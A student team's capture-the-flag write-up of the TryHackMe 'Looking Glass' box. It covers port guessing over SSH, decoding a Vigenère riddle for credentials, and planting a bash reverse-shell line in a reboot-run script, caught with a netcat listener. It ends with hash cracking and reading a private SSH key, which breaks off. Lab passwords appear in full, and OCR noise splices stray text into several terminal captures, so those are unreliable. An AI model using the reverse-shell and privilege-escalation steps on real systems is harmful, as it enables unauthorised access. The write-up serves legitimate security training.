

PenTest 1

LOOKING

GLASS

404

NOT FOUND

Members

ID	Name	Role
1211102687	Emily Phang Ru Ying	Leader
1211102751	Teo Yu Jie	Member
1211102753	Lim Cai Qing	Member
1211102975	Loi Xinyi	Member

Steps: Recon and Enumeration

Members Involved: Loi Xinyi, Lim Cai Qing

Tools used: Nmap, SSH, Guballa

Thought Process and Methodology and Attempts:

First, Xinyi did a nmap scan to find out what port is open. sC to run default scripts, sV to enumerate application versions, and oA to store scan results in normal.

```
File Actions Edit View Help
└─(1211102753㉿kali)-[~]
└─$ nmap -sV -sC -oA scan 10.10.202.66
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-25 22:00 EDT
Nmap scan report for 10.10.202.66
Host is up (0.21s latency).
Not shown: 915 closed tcp ports (conn-refused)
PORT      STATE    SERVICE      VERSION
22/tcp    open     ssh          OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 3f:15:19:70:35:fd:dd:0d:07:a0:50:a3:7d:fa:10:a0 (RSA)
|   256 a8:67:5c:52:77:02:41:d7:90:e7:ed:32:d2:01:d9:65 (ECDSA)
|_  256 26:92:59:2d:5e:25:90:89:09:f5:e5:e0:33:81:77:6a (ED25519)
5033/tcp  filtered jtnetd-server
9000/tcp  open     ssh          Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
9001/tcp  open     ssh          Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
9002/tcp  open     ssh          Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
9003/tcp  open     ssh          Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
9009/tcp  open     ssh          Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
9010/tcp  open     ssh          Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
9011/tcp  open     ssh          Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
9040/tcp  open     ssh          Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
9050/tcp  open     ssh          Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
9071/tcp  open     ssh          Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
9080/tcp  open     ssh          Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
9081/tcp  open     ssh          Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
9090/tcp  open     ssh          Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
```

Turns out that there's an open port for 22 and a large number of ports open starting from 9000 to 13782.

```
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
10616/tcp open ssh Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
10617/tcp open ssh Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
10621/tcp open ssh Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
10626/tcp open ssh Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
10628/tcp open ssh Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
10629/tcp open ssh Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
10778/tcp open ssh Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
11110/tcp open ssh Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
11111/tcp open ssh Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
11967/tcp open ssh Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
12000/tcp open ssh Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
12174/tcp open ssh Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
12265/tcp open ssh Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
12345/tcp open ssh Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
13456/tcp open ssh Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
13722/tcp open ssh Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
13782/tcp open ssh Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_ 2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
```

Xinyi tries to connect to one of the ports, port 9700 using SSH and got a response of “Lower”.

```
[1211102753@kali:~]$ ssh 10.10.202.66 -p 9700
The authenticity of host '[10.10.202.66]:9700' ([10.10.202.66]:9700) can't be established.
RSA key fingerprint is SHA256:iMwNI8HsNKOZQ700IFs1Qt8cf0ZDq2uI8dIK97XGPj0.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:7: [hashed name]
  ~/.ssh/known_hosts:8: [hashed name] 8.93.93/16 dev tun0
  ~/.ssh/known_hosts:9: [hashed name] 10.0.0/16 via 10.0.0.1 dev [NULL] table 0 metric 1000
  ~/.ssh/known_hosts:10: [hashed name] iteration may cache passwords in memory -- use the auth-no
  ~/.ssh/known_hosts:11: [hashed name] nce Completed
  ~/.ssh/known_hosts:12: [hashed name]
  ~/.ssh/known_hosts:13: [hashed name]
  ~/.ssh/known_hosts:14: [hashed name]
(18 additional names omitted)
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.202.66]:9700' (RSA) to the list of known hosts.
Lower
Connection to 10.10.202.66 closed.
```

When Xinyi tries to connect to port 9800, we got a response of “Higher”.

```
[1211102753@kali:~]$ ssh 10.10.202.66 -p 9800
The authenticity of host '[10.10.202.66]:9800' ([10.10.202.66]:9800) can't be established.
RSA key fingerprint is SHA256:iMwNI8HsNKOZQ700IFs1Qt8cf0ZDq2uI8dIK97XGPj0.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:7: [hashed name]
  ~/.ssh/known_hosts:8: [hashed name]
  ~/.ssh/known_hosts:9: [hashed name]
  ~/.ssh/known_hosts:10: [hashed name]
  ~/.ssh/known_hosts:11: [hashed name]
  ~/.ssh/known_hosts:12: [hashed name]
  ~/.ssh/known_hosts:13: [hashed name]
  ~/.ssh/known_hosts:14: [hashed name]
(26 additional names omitted)
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.202.66]:9800' (RSA) to the list of known hosts.
Higher
Connection to 10.10.202.66 closed.
```

Xinyi came to a conclusion that we have to find the correct port by guessing the port number based on the response they got. Lower indicates that the correct port is higher whereas Higher indicates that the correct port is lower. After a few more attempts, Xinyi found the correct port which is port 9778.

```
(1211102753㉿kali)-[~]
$ ssh 10.10.202.66 -p 9777
The authenticity of host '[10.10.202.66]:9777 ([10.10.202.66]:9777)' can't be established.
RSA key fingerprint is SHA256:iMwNI8HsNKOZQ700IFs1Qt8cf0ZDq2uI8dIK97XGPj0.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:7: [hashed name]
  ~/.ssh/known_hosts:8: [hashed name]
  ~/.ssh/known_hosts:9: [hashed name]
  ~/.ssh/known_hosts:10: [hashed name]
  ~/.ssh/known_hosts:11: [hashed name]
  ~/.ssh/known_hosts:12: [hashed name]
  ~/.ssh/known_hosts:13: [hashed name]
  ~/.ssh/known_hosts:14: [hashed name]
  (32 additional names omitted)
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.202.66]:9777' (RSA) to the list of known hosts.
Lower
Connection to 10.10.202.66 closed.

(1211102753㉿kali)-[~]
$ ssh 10.10.202.66 -p 9778
The authenticity of host '[10.10.202.66]:9778 ([10.10.202.66]:9778)' can't be established.
RSA key fingerprint is SHA256:iMwNI8HsNKOZQ700IFs1Qt8cf0ZDq2uI8dIK97XGPj0.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:7: [hashed name]
  ~/.ssh/known_hosts:8: [hashed name]
  ~/.ssh/known_hosts:9: [hashed name]
  ~/.ssh/known_hosts:10: [hashed name]
  ~/.ssh/known_hosts:11: [hashed name]
  ~/.ssh/known_hosts:12: [hashed name]
  ~/.ssh/known_hosts:13: [hashed name]
  ~/.ssh/known_hosts:14: [hashed name]
  (33 additional names omitted)
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.202.66]:9778' (RSA) to the list of known hosts.
You've found the real service.
Solve the challenge to get access to the box
Jabberwocky
'Mdes mgplmmz, cvs alv lsmtsn aowil
Fqs ncix hrq rxtbmi bp bwl arul,
Elw bpmtc pgzt alv uvvordcet,
Egf bwl qffl vaewz ovxztiql.

'Fvphve ewl Jbfugzlvgb, ff woy!
Ioe kepu bwhx sbai, tst jlb1 vppa grmjl!
Bplhrf xag Rjinlu imro, pud tlmp
```

After connecting successfully, Xinyi got a riddle.

```

RSA key fingerprint is SHA256:iMwNI8HsNKOZQ700IFs1Qt8cf0ZDq2uI8dIK97XGPj0.
This host key is known by the following other names/addresses:
  ↵  ~/.ssh/known_hosts:7: [hashed name]
  ↵  ~/.ssh/known_hosts:8: [hashed name]
  ↵  ~/.ssh/known_hosts:9: [hashed name]
  ↵  ~/.ssh/known_hosts:10: [hashed name]
  ↵  ~/.ssh/known_hosts:11: [hashed name]
  ↵  ~/.ssh/known_hosts:12: [hashed name]
  ↵  ~/.ssh/known_hosts:13: [hashed name]
  ↵  ~/.ssh/known_hosts:14: [hashed name]
  ↵  (33 additional names omitted)
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.202.66]:9778' (RSA) to the list of known hosts.
You've found the real service.
Solve the challenge to get access to the box
Jabberwocky
'Mdes mgplmmz, cvs alv lsmtsn aowil
Fqs ncix hrd rxtbmi bp bwl arul;
Elw bpmtc pgzt alv uvvordcet,
Egf bwl qffl vaewz ovxztiql.

'Fvphve ewl Jbfugzlvgb, ff woy!
Ioe kepu bwhx sbai, tst jlbal vppa grmj!
Bplhrf xag Rjinlu imro, pud tlnp
Bwl jintmofh Iaohtachxta!

Oi tzdr hjw oqzehp jpvvd tc oaoh:
Eqvv amdx ale xpxuxpqx hwt oi jhbkhe--
Hv rfwmgl wl fp moi Tfbaun xkgm,
Pu h jmvsd lloimi bp bwvyxaa.

Eno pz io yyhqho xyhbkhe wl sushf,
Bwl Nruirhdjk, xmmj mnlw fy mpaxt,
Jani pjqumpzgn xhcdbgi xag bjskvr dsso,
Pud cykdttk ej ba gaxt!

Vnf, xpq! Wcl, xnh! Hrd ewyovka cvs alihbk
Ewl vpvict qseux dine huidoxt-achgb!
Al peqi pt eitf, ick azmo mtd wlae
Lx ymca krebpqpsxug cevm.

'Ick lrla xhzj zlbmg vpt Qesulvwzrr?
Cpqx vw bf eifz, qy mthmjwa dwn!
V jitinofh kaz! Gtntdvl! Ttspaj!'
Wl ciskvttk me apw jzn.

'Awbw utqasmx, tuh tst zljxaa bdcij
Wph gjgl aoh zkuqsi zg ale hpie;
Bpe oqbcz nxyi tst iosszqdtz,
Eew ale xdte semja dbxxkhfe.
Jdbc tivtmi pw sxderpoeKeudmgdstd
Enter Secret:

```

The riddle seems to be in Vigenere. Cai Qing uses an online Vigenere decryption tool named Guballa to reveal the original text message.

Was gibt's Neues?

2020-02-21 19:27

The Substitution Breaker is now Open Source

I finally decided to open
source the implementation of
the substitution breaker.

[Weiterlesen ...](#)

2019-12-30 23:22

... and here comes support for Portuguese

This time both solvers have
learnt to speak Portuguese.

[Weiterlesen ...](#)

2019-12-27 20:47

Solver: Support for Dutch added

The Vigenere Solver as well
as the Substitution Solver
now speak one additional
language: Dutch. Some work

» Vigenere Solver «

This online tool breaks [Vigenère ciphers](#) without knowing the key. Besides the classical variant [Beaufort ciphers](#) and [Autokey ciphers](#) are supported as well.

As an example you can crack the following cipher text with this tool:

Altd hlbe tg lrncmxpox kpxs evl ztrsui cp qptspf.
Ivplypr th pw clhoic pozc. :-)

If you would like to know how this Vigenere breaker works have a look at the [bits & bytes corner](#) (German only).

If you want to break a [monoalphabetic substitution cipher](#) instead try the [Substitution Solver](#).

Input

Cipher Text:

```
ICK TITIA XHZJ ZIRPMG VPT QESUUVWZII?  
Cpqx vw bf eifz, qy mthmjwa dwn!  
V jitinofh kaz! Gtntdvi! Ttspaj!'  
Wl ciskvttk me apw jzn.  
  
'Awbw utqasmx, tuh tzt zljxxaa bdcij  
Wph gjgl aoh zkugsi zg ale hpie;  
Bpe oqozc nxyi tst iosszqdtz,  
Euw ale xkte semja dbxxxhfe.  
Jdbi tivtmi pw sxderpIoeKeudmgstd
```

Cipher Variant:

Classical Vigenere

Language:

German

Key Length:

3-30

(e.g. 8 or a range e.g. 6-10)

Break Cipher

Clear Cipher Text

At the end of the poem, it is stated that your secret is bewareTheJabberwock.

Result

Clear text [\[hide\]](#)

Clear text using key "thealphabeticcipher":

```
And hast thou slain the Jabberwock?  
Come to my arms, my beamish boy!  
O frabjous day! Callooh! Callay!  
He chortled in his joy.  
  
'Twas brillig, and the slithy toves  
Did gyre and gimble in the wabe;  
All mimsy were the borogoves,  
And the mome raths outgrabe.  
Your secret is bewareTheJabberwock
```

Details [\[show\]](#)

Key length statistics [\[show\]](#)

Histogram [\[show\]](#)

Runtime: 0.009 seconds

Cai Qing inserted the secret as credentials and received what we believe is a username with its password `jabberwock:HorseOughtLargerAsking`.

```
'Ick lrla xhzj zlbmg vpt Qesulvwzrr?  
Cpqx vw bf eifz, qy mthmjwa dwn!  
V jitinofh kaz! Gtntdvl! Ttspaj!'  
Wl ciskvttk me apw jzn.  
  
'Awbw utqasmx, tuh tst zljxaa bdcij  
Wph gjgl aoh zkuksi zg ale hpie;  
Bpe oqbzc nxyi tst iosszqdtz,  
Eew ale xdte semja dbxxkhfe.  
Jdbc tivtmi pw sxderpIoeKeudmgdstd  
Enter Secret:  
jabberwock:HorseOughtLargerAsking  
Connection to 10.10.253.222 closed.
```

Xinyi authenticate through SSH with the username and password found above. As a result, Xinyi successfully gain access as `jabberwock`.

```
└─(1211102753㉿kali)-[~]  
└─$ ssh jabberwock@10.10.202.66  
The authenticity of host '10.10.202.66 (10.10.202.66)' can't be established.  
ED25519 key fingerprint is SHA256:xs9LzYRViB8jiE4uU7UlpLdwXgzR3sCZpTYFU2RgvJ4.  
This key is not known by any other names      search.2019.0232  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '10.10.202.66' (ED25519) to the list of known hosts.  
jabberwock@10.10.202.66's password:  
Permission denied, please try again.  
jabberwock@10.10.202.66's password:n("/bin/bash");  
Permission denied, please try again.  
jabberwock@10.10.202.66's password:  
Last login: Fri Jul  3 03:05:33 2020 from 192.168.170.1
```

After using `ls` to see the list of contents, Xinyi saw a text file named `user`. Xinyi tries to get the content of the `user` text file and the `user` flag was shown but in reverse. Xinyi try to get the content of the `user` text file again but this time in reverse and the `user` flag was captured.

```
Last login: Tue Jul 28 05:11:03 2022 from 10.10.202.66  
jabberwock@looking-glass:~$ ls  
poem.txt  twasBrillig.sh  user.txt  alihbkh  
jabberwock@looking-glass:~$ cat user.txt  
}32a911966cab2d643f5d57d9e0173d56{mht  
jabberwock@looking-glass:~$ cat user.txt |rev  
thm{65d3710e9d75d5f346d2bac669119a23}  
jabberwock@looking-glass:~$ █Lvwzrr?  
Copy vir bf eifz, qy mthmjwa dwn!
```

Final Result:

Upon verification of the flag, Xinyi placed the flag on the TryHackMe site and got the confirmation.

Task 1 ✓ Looking Glass

Climb through the Looking Glass and capture the flags.

▶ Start Machine



Answer the questions below

Get the user flag.

Correct Answer 💡 Hint

Lesson Learnt:

We learned that there may be times where there are many open ports but only one port works. We also found out that there are riddles which are encoded in Vigenere cipher text and can be decoded using Vigenere decryption tool such as Guballa. We also learnt that we can reverse things using | rev command on the terminal.

Steps: Initial Foothold

Members Involved: Lim Cai Qing, Emily Phang Ru Ying

Tools used: LinPEAS, Nanoshell, Netcat Listener

Thought Process and Methodology and Attempts:

Emily created a Linpeas shell script by obtaining the script from Github. Linpeas is a script that searches for possible paths to escalate privileges on Linux hosts. It is a very powerful shell script.

```
Last login: Tue Jul 26 06:46:55 2022 from 10.18.70.167
jabberwock@looking-glass:~$ touch linpeas.sh: finish: mo
jabberwock@looking-glass:~$ nano linpeas.sh
jabberwock@looking-glass:~$ ls
linpeas.sh poem.txt twasBrillig.sh user.txt
jabberwock@looking-glass:~$ chmod +x
chmod: missing operand after '+x'. Try 'chmod --help' for more information.
jabberwock@looking-glass:~$ chmod +x linpeas.sh
jabberwock@looking-glass:~$ ./linpeas.sh
```

After executing the script, it seems that a bash script is set to run when the system reboots.

```
2020-07-03 03:02:19,356 - helpers.py[DEBUG]: config-set-passwords al
SHELL=/bin/sh:07:44,088 - handlers.py[DEBUG]: finish: modules-config
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
2020-07-03 03:07:44,088 - helpers.py[DEBUG]: config-set-passwords al
@reboot tweedledum bash /home/jabberwock/twasBrillig.sh
modules-config
s previously ran
```

Jabberwock is also able to execute reboot as root without a password.

```
Previously ran
└─ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d already ran (freq-once-per-instance)
  https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid-set-passwords: SUCCESS: config-set-password
Matching Defaults entries for jabberwock on looking-glass:
  env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
2020-07-03 03:10:07,492 - helpers.py[DEBUG]: config-set-passwords already ran (freq-once-per-instance)
User jabberwock may run the following commands on looking-glass:
  (root) NOPASSWD: /sbin/reboot
```

Cai Qing modified twasBrillig shell script using nanoshell. It was changed to execute a reverse shell.



The screenshot shows a terminal window with the following content:

```
jabberwock@looking-glass: ~
File Actions Edit View Help
GNU nano 2.9.3


```

previously ran
bash -i >& /dev/tcp/10.18.70.167/443 [0>815]: config-set-passwords already ran (freq-once-per-instance)
#wall $(cat /home/jabberwock/poem.txt) DEBUG]: finish: modules-config/config-set-passwords
previously ran
2020-07-02 23:23:33,186 - helpers.py[DEBUG]: config-set-passwords already ran (freq-once-per-instance)
2020-07-02 23:26:05,606 - handlers.py[DEBUG]: finish: modules-config/config-set-passwords
```


```

Then, Cai Qing set up a Netcat listener to listen to port 443, it will catch the reverse shell when it is executed by the victim host after reboot.

```
(1211102687㉿kali)-[~] 0 3800
└─$ sudo nc -lvp 443
[sudo] password for 1211102687: t https:
listening on [any] 443 ...sh -o linpeas.
```

After rebooting the system, a callback on Netcat listener is received. Cai Qing was granted a shell as tweedledum.

```
(1211102687㉿kali)-[~] 0 3800 0 --:--:--:--:--:--:--:-- 3800
└─$ sudo nc -lvp 443
[sudo] password for 1211102687: t https://raw.githubusercontent.com/carlospolop/pr
listening on [any] 443 ...h -o linpeas.sh
connect to [10.18.70.167] from (UNKNOWN) [10.10.253.222] 53340@ospolop/privilege-
bash: cannot set terminal process group (886): Inappropriate ioctl for device
bash: no job control in this shell (raw.githubusercontent.com) ... 2606:50c0:8002
tweedledum@looking-glass:~$ whoami
whoami t https://raw.githubusercontent.com (raw.githubusercontent.com)|2606:50c0:800
tweedledum
```

Final Result:

We were successfully given access as tweedledum after the reverse shell was executed.

Lesson Learnt:

We found a script called Linpeas which is a script that searches for possible paths to escalate privileges on Linux hosts. It helped us to search for detailed useful informations that can help us to escalate privileges.

Steps: Horizontal Privilege Escalation

Members Involved: Emily Phang Ru Ying, Teo Yu Jie

Tools used: Crackstation, Cyberchef

Thought Process and Methodology and Attempts:

Emily used the ls -la command to list the contents in long format including hidden file. Emily tries to get the content from the humptydumpty text file and was shown something which looks like number of hashes.

```
tweedledum
tweedledum@looking-glass:~$ ls -lat.com (raw.githubusercontent.com)|2606:50c0:800
ls -la
total 28ng to raw.githubusercontent.com (raw.githubusercontent.com)|2606:50c0:800
drwx—— 2 tweedledum tweedledum 4096 Jul 3 2020 .
drwxr-xr-x 8 root root 4096 Jul 3 2020 ..content.com|2606:50c0:800
lrwxrwxrwx 1 root root 9 Jul 3 2020 .bash_history → /dev/null
-rw-r--r-- 1 tweedledum tweedledum 220 Jun 30 2020 .bash_logout
-rw-r--r-- 1 tweedledum tweedledum 3771 Jun 30 2020 .bashrc
-rw-r--r-- 1 tweedledum tweedledum 807 Jun 30 2020 .profile
-rw-r--r-- 1 root root 520 Jul 3 2020 humptydumpty.txt
-rw-r--r-- 1 root root 296 Jul 3 2020 poem.txt
tweedledum@looking-glass:~$ cat humptydumpty.txt
cat humptydumpty.txt
dcfff5eb40423f055a4cd0a8d7ed39ff6cb9816868f5766b4088b9e9906961b9
7692c3ad3540bb803c020b3aee66cd8887123234ea0c6e7143c0add73ff431ed
28391d3bc64ec15ccb090426b04aa6b7649c3cc85f11230bb0105e02d15e3624
b808e156d18d1cecdcc1456375f8cae994c36549a07c8c2315b473dd9d7f404f
fa51fd49abf67705d6a35d18218c115ff5633aec1f9ebfdc9d5d4956416f57f6
b9776d7ddf459c9ad5b0e1d6ac61e27befb5e99fd62446677600d7cacef544d0
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b
```

Yu Jie used Crackstation and was able to crack all the hashes except the last one. It seems like the last line is a line of hexadecimal.

The image shows a CAPTCHA verification step on the Crackstation website. It features a standard reCAPTCHA checkbox labeled "I'm not a robot". To its right is the reCAPTCHA logo and the text "reCAPTCHA Privacy - Terms". Below the CAPTCHA is a large, light-gray rectangular area containing a long string of hexadecimal characters: dcfff5eb40423f055a4cd0a8d7ed39ff6cb9816868f5766b4088b9e9906961b9 7692c3ad3540bb803c020b3aee66cd8887123234ea0c6e7143c0add73ff431ed 28391d3bc64ec15ccb090426b04aa6b7649c3cc85f11230bb0105e02d15e3624 b808e156d18d1cecdcc1456375f8cae994c36549a07c8c2315b473dd9d7f404f fa51fd49abf67705d6a35d18218c115ff5633aec1f9ebfdc9d5d4956416f57f6 b9776d7ddf459c9ad5b0e1d6ac61e27befb5e99fd62446677600d7cacef544d0 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8 7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b. This string is likely a password or hash that needs to be cracked.

Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sh1_bin)), QubesV3.1BackupDefaults

Hash	Type	Result
dcfff5eb40423f055a4cd0a8d7ed39ff6cb9816868f5766b4088b9e9906961b9	sha256	maybe
7692c3ad3540bb803c020b3aee66cd8887123234ea0c6e7143c0add73ff431ed	sha256	one
28391d3bc64ec15ccb090426b04aa6b7649c3cc85f11230bb0105e02d15e3624	sha256	of
b808e156d18d1cecdcc1456375f8cae994c36549a07c8c2315b473dd9d7f404f	sha256	these
fa51fd49abf67705d6a35d18218c115ff5633aec1f9ebfdc9d5d4956416f57f6	sha256	is
b9776d7ddf459c9ad5b0e1d6ac61e27befb5e99fd62446677600d7cacef544d0	sha256	the
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8	sha256	password
7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b	Unknown	Not found.

Emily used Cyberchef to convert the code from hexadecimal to string and got humptydumpty's password.

The screenshot shows the CyberChef interface. In the 'Input' section, there is a 'From Hex' button and a 'Delimiter' dropdown set to 'Auto'. The input text is a long hexadecimal string: 7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b. Below the input, there is a note about hexdump and a note about the 'UNIX format' argument. In the 'Output' section, the converted ASCII text is shown: the password is zyxwvutsrqponmlk. There are also some statistics at the bottom right: start: 28, end: 28, length: 0, lines: 0.

Then, Emily changed user to humptydumpty and keyed in the password.

```
jabberwock@looking-glass:~$ su humptydumpty
Password: i tweedledum tweedledum 220 Jun 30 2020 .bash_logout
humptydumpty@looking-glass:/home/jabberwock$ whoami
humptydumpty tweedledum tweedledum 807 Jun 30 2020 .profile
```

Final Result:

We successfully gain access as humptydumpty after cracking the password.

Lesson Learnt:

We learned that there are times where hexadecimal codes are hidden with hashes to confuse us and that we can use Crackstation to help us with separating them.

Steps: Root Privilege Escalation

Members Involved: Teo Yu Jie, Emily Phang Ru Ying

Tools used: SSH

Thought Process and Methodology and Attempts:

Yu Jie tries to list all the files in the home directory and it seems that there is nothing useful.

```
humptydumpty@looking-glass:/home/jabberwock$ cd .. /humptydumpty/
humptydumpty@looking-glass:~$ ls -la
total 24
drwx----- 2 humptydumpty humptydumpty 4096 Jul  3 2020 .
drwxr-xr-x  8 root      root      4096 4096 Jul  3 2020 ..
lrwxrwxrwx  1 root      root      9 Jul  9 Jul  3 2020 .bash_history → /dev/null
-rw-r--r--  1 humptydumpty humptydumpty 220 Jul 32 2020 .bash_logout
-rw-r--r--  1 humptydumpty humptydumpty 3771 Jul 32 2020 .bashrc
-rw-r--r--  1 humptydumpty humptydumpty 807 Jul 32 2020 .profile
-rw-r--r--  1 humptydumpty humptydumpty 3084 Jul 32 2020 poetry.txt
humptydumpty@looking-glass:~$ cd /home
humptydumpty@looking-glass:/home$ ls -l ampty.txt
total 32 ampty.txt
drwxr-xr-x  8 root4cd0a8d7/ root56cb981684096 Jul 4 3 2020 .6961b9
drwxr-xr-x 24 root020b3aeer root48712323440966 Jul 4 2 2020 ..31ed
drwx--x--x  6 alice90426b0/ alice449c3cc840962 Jul 3 2020 alice
drwx----- 2 humptydumpty humptydumpty 40968 Jul 3 2020 humptydumpty
drwxrwxrwx  5 jabberwock21/ jabberwockec40966 Jul 3 2020 jabberwock
drwx----- 5 tryhackme6act/ tryhackme 99f40964 Jul 7 3 2020 tryhackme
drwx----- 3 tweedledee3d/ tweedledee 4096 Jul 3 2020 tweedledee
drwx----- 2 tweedledum20/ tweedledum 4096 Jul 3 2020 tweedledum
```

Yu Jie tries to list out alice's folder but was unable to. However, ___ was able to access the .ssh folder. There was a private SSH key hidden inside.

```

humptydumpty@looking-glass:/home$ cd alice/
humptydumpty@looking-glass:/home/alice$ ls -la
ls: cannot open directory '.': Permission denied
humptydumpty@looking-glass:/home/alice$ ls .ssh/[253.222] 53340
ls: cannot open directory '.ssh/': Permission deniedpropriate ioctl for device
humptydumpty@looking-glass:/home/alice$ cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpgIBAAKCAQEAXmPncAXisNjbU2xizft4aYPqmfXm1735FPlGf4j9ExZhlmmD
NIRchPaFUqJXQZi5ryQH6YxZP5IIJXENK+a4WoRDyPoyGK/63rXTn/IWWKQka9tQ
2xrdnyxdwbtiKP1L4bq/4vU30UcA+aYHxqhyq39arpeceHVit+jVPriHiCA73k7g
HCgpkwWczNa5MMGo+1Cg4ifzffv4uhPkxBLLl3f4rBf84RmuKEEy6bYZ+/WOEgHl
